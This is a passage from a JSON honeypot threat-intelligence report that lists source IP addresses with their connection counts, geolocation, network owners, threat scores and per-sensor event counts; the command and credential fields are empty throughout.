        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T06:49:07.839000+00:00",
        "last_seen_30d": "2026-05-29T06:50:18.533000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "201.238.0.146": {
      "attack_count": 6,
      "first_seen": "2026-05-20T00:01:33.285Z",
      "last_seen": "2026-05-20T02:24:53.657Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T00:01:33.285000+00:00",
        "last_seen_30d": "2026-05-20T02:25:56.754000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "34.78.59.113": {
      "attack_count": 6,
      "first_seen": "2026-05-22T07:17:23.933Z",
      "last_seen": "2026-05-22T07:17:39.144Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 16.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T07:17:23.933000+00:00",
        "last_seen_30d": "2026-05-22T07:18:42.275000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "66.132.224.231": {
      "attack_count": 6,
      "first_seen": "2026-05-09T15:33:06.619Z",
      "last_seen": "2026-05-09T15:33:45.118Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 137,
        "days_active_30d": 30,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T03:24:49+00:00",
        "last_seen_30d": "2026-05-31T12:10:28.099000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 91,
        "Honeytrap": 34,
        "Cowrie": 6,
        "Dionaea": 3,
        "H0neytr4p": 3
      }
    },
    "109.107.108.153": {
      "attack_count": 4,
      "first_seen": "2026-05-14T05:18:26.026Z",
      "last_seen": "2026-05-16T21:22:19.069Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Dolores",
      "asn": 200845,
      "as_org": "Avatel Telecom, SA",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T05:18:26.026000+00:00",
        "last_seen_30d": "2026-05-16T21:23:21.538000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "121.40.84.227": {
      "attack_count": 4,
      "first_seen": "2026-05-23T16:12:35.944Z",
      "last_seen": "2026-05-24T07:36:57.924Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T16:12:35.944000+00:00",
        "last_seen_30d": "2026-05-24T07:37:58.533000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "198.235.24.223": {
      "attack_count": 4,
      "first_seen": "2026-05-17T16:35:54.829Z",
      "last_seen": "2026-05-17T16:35:58.375Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 86.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.6,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 143,
        "days_active_30d": 28,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-03T20:33:00.137000+00:00",
        "last_seen_30d": "2026-05-30T05:30:36.887000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 90,
        "Honeytrap": 27,
        "ConPot": 19,
        "Cowrie": 4,
        "Dionaea": 3
      }
    },
    "36.231.107.35": {
      "attack_count": 4,
      "first_seen": "2026-05-18T23:37:54.804Z",
      "last_seen": "2026-05-18T23:44:10.241Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T23:37:54.804000+00:00",
        "last_seen_30d": "2026-05-18T23:45:16.272000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "38.148.158.51": {
      "attack_count": 4,
      "first_seen": "2026-05-25T04:36:26.970Z",
      "last_seen": "2026-05-25T04:40:30.527Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Erie",
      "asn": 7341,
      "as_org": "Velocity Network, Inc.",
      "threat_score": 17.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T04:36:26.970000+00:00",
        "last_seen_30d": "2026-05-25T04:41:46.033000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 4
      }
    },
    "65.49.1.142": {
      "attack_count": 4,
      "first_seen": "2026-05-08T15:37:20.614Z",
      "last_seen": "2026-05-22T00:12:23.089Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 343,
        "days_active_30d": 30,
        "ports_targeted_30d": 85,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T04:20:19+00:00",
        "last_seen_30d": "2026-05-31T05:41:47.972000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 220,
        "Honeytrap": 99,
        "H0neytr4p": 8,
        "Mailoney": 6,
        "ConPot": 4,
        "Cowrie": 4,
        "ElasticPot": 1,
        "Honeyaml": 1
      }
    },
    "101.108.106.152": {
      "attack_count": 2,
      "first_seen": "2026-05-20T01:44:56.836Z",
      "last_seen": "2026-05-20T01:45:09.789Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T01:44:56.836000+00:00",
        "last_seen_30d": "2026-05-20T01:46:11.946000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.96.38.154": {
      "attack_count": 2,
      "first_seen": "2026-05-12T17:38:00.823Z",
      "last_seen": "2026-05-12T17:38:13.539Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Dhaka",
      "asn": 45905,
      "as_org": "Stargate Communications Ltd.",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T17:38:00.823000+00:00",
        "last_seen_30d": "2026-05-12T17:39:14.534000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "110.159.124.63": {
      "attack_count": 2,
      "first_seen": "2026-05-14T11:35:41.587Z",
      "last_seen": "2026-05-14T11:35:54.991Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Malaysia",
      "country_code": "MY",
      "city": "Cyberjaya",
      "asn": 4788,
      "as_org": "TM TECHNOLOGY SERVICES SDN. BHD.",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T11:35:41.587000+00:00",
        "last_seen_30d": "2026-05-14T11:36:58.900000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "111.120.156.39": {
      "attack_count": 2,
      "first_seen": "2026-05-22T10:22:48.508Z",
      "last_seen": "2026-05-22T10:23:02.561Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:22:48.508000+00:00",
        "last_seen_30d": "2026-05-22T10:24:04.769000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.221.24.153": {
      "attack_count": 2,
      "first_seen": "2026-05-23T10:21:54.172Z",
      "last_seen": "2026-05-23T10:22:21.512Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T10:21:54.172000+00:00",
        "last_seen_30d": "2026-05-23T10:23:25.049000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.220.189.13": {
      "attack_count": 2,
      "first_seen": "2026-05-05T06:55:30.417Z",
      "last_seen": "2026-05-05T06:55:43.718Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T06:55:30.417000+00:00",
        "last_seen_30d": "2026-05-05T06:57:11.953000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "120.157.236.190": {
      "attack_count": 2,
      "first_seen": "2026-05-19T11:19:54.389Z",
      "last_seen": "2026-05-19T11:20:15.609Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Melbourne",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-19T11:19:54.389000+00:00",
        "last_seen_30d": "2026-05-20T06:53:09.728000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2,
        "Honeytrap": 1
      }
    },
    "125.118.148.139": {
      "attack_count": 2,
      "first_seen": "2026-05-11T19:14:16.279Z",
      "last_seen": "2026-05-11T19:14:28.907Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T19:14:16.279000+00:00",
        "last_seen_30d": "2026-05-11T19:15:33.361000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "139.59.8.50": {
      "attack_count": 2,
      "first_seen": "2026-05-14T20:12:19.550Z",
      "last_seen": "2026-05-14T20:12:19.554Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T20:12:19.550000+00:00",
        "last_seen_30d": "2026-05-14T20:13:22.509000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "147.185.132.210": {
      "attack_count": 2,
      "first_seen": "2026-05-02T23:03:21.293Z",
      "last_seen": "2026-05-02T23:03:21.605Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 89.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 82,
        "days_active_30d": 30,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T19:32:51.297000+00:00",
        "last_seen_30d": "2026-05-31T16:08:41.608000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 57,
        "Honeytrap": 20,
        "Cowrie": 2,
        "Dionaea": 1,
        "Honeyaml": 1,
        "Sentrypeer": 1
      }
    },
    "171.114.228.13": {
      "attack_count": 2,
      "first_seen": "2026-05-23T08:08:54.633Z",
      "last_seen": "2026-05-23T08:09:25.546Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:08:54.633000+00:00",
        "last_seen_30d": "2026-05-23T08:10:32.596000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "184.105.139.68": {
      "attack_count": 2,
      "first_seen": "2026-05-09T07:35:10.244Z",
      "last_seen": "2026-05-09T07:35:12.389Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 387,
        "days_active_30d": 30,
        "ports_targeted_30d": 86,
        "honeypots_triggered_30d": 13,
        "first_seen_30d": "2026-05-02T01:23:23.870000+00:00",
        "last_seen_30d": "2026-05-31T15:01:05.691000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 224,
        "Honeytrap": 108,
        "Redishoneypot": 22,
        "Miniprint": 9,
        "Dionaea": 5,
        "Tanner": 4,
        "CitrixHoneypot": 3,
        "ElasticPot": 3,
        "Adbhoney": 2,
        "ConPot": 2,
        "Cowrie": 2,
        "Honeyaml": 2,
        "Ipphoney": 1
      }
    },
    "185.109.205.183": {
      "attack_count": 2,
      "first_seen": "2026-05-08T16:41:46.304Z",
      "last_seen": "2026-05-08T16:41:59.316Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Simferopol",
      "asn": 6789,
      "as_org": "Crelcom LLC",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T16:41:46.304000+00:00",
        "last_seen_30d": "2026-05-08T16:43:02.912000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.216.43.98": {
      "attack_count": 2,
      "first_seen": "2026-05-05T20:08:52.148Z",
      "last_seen": "2026-05-05T20:09:05.266Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Tlalnepantla",
      "asn": 28548,
      "as_org": "Cablevision, S.A. de C.V.",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T20:08:52.148000+00:00",
        "last_seen_30d": "2026-05-05T20:10:15.070000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "190.33.46.170": {
      "attack_count": 2,
      "first_seen": "2026-05-12T03:25:09.377Z",
      "last_seen": "2026-05-12T03:25:22.876Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Panama",
      "country_code": "PA",
      "city": "Panama City",
      "asn": 11556,
      "as_org": "Cable & Wireless Panama",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T03:25:09.377000+00:00",
        "last_seen_30d": "2026-05-12T03:26:31.018000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "191.98.221.90": {
      "attack_count": 2,
      "first_seen": "2026-05-04T09:34:40.132Z",
      "last_seen": "2026-05-04T09:34:53.574Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Esquina",
      "asn": 263219,
      "as_org": "WIRNET S.R.L.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T09:34:40.132000+00:00",
        "last_seen_30d": "2026-05-04T09:35:57.472000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "196.189.144.100": {
      "attack_count": 2,
      "first_seen": "2026-05-12T16:25:57.746Z",
      "last_seen": "2026-05-12T16:26:10.931Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T16:25:57.746000+00:00",
        "last_seen_30d": "2026-05-12T16:27:18.989000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "201.211.231.239": {
      "attack_count": 2,
      "first_seen": "2026-05-12T02:40:03.175Z",
      "last_seen": "2026-05-12T02:40:16.351Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 8048,
      "as_org": "CANTV Servicios, Venezuela",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T02:40:03.175000+00:00",
        "last_seen_30d": "2026-05-12T02:41:21.719000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "201.238.2.47": {
      "attack_count": 2,
      "first_seen": "2026-05-19T13:33:04.984Z",
      "last_seen": "2026-05-19T13:33:18.816Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
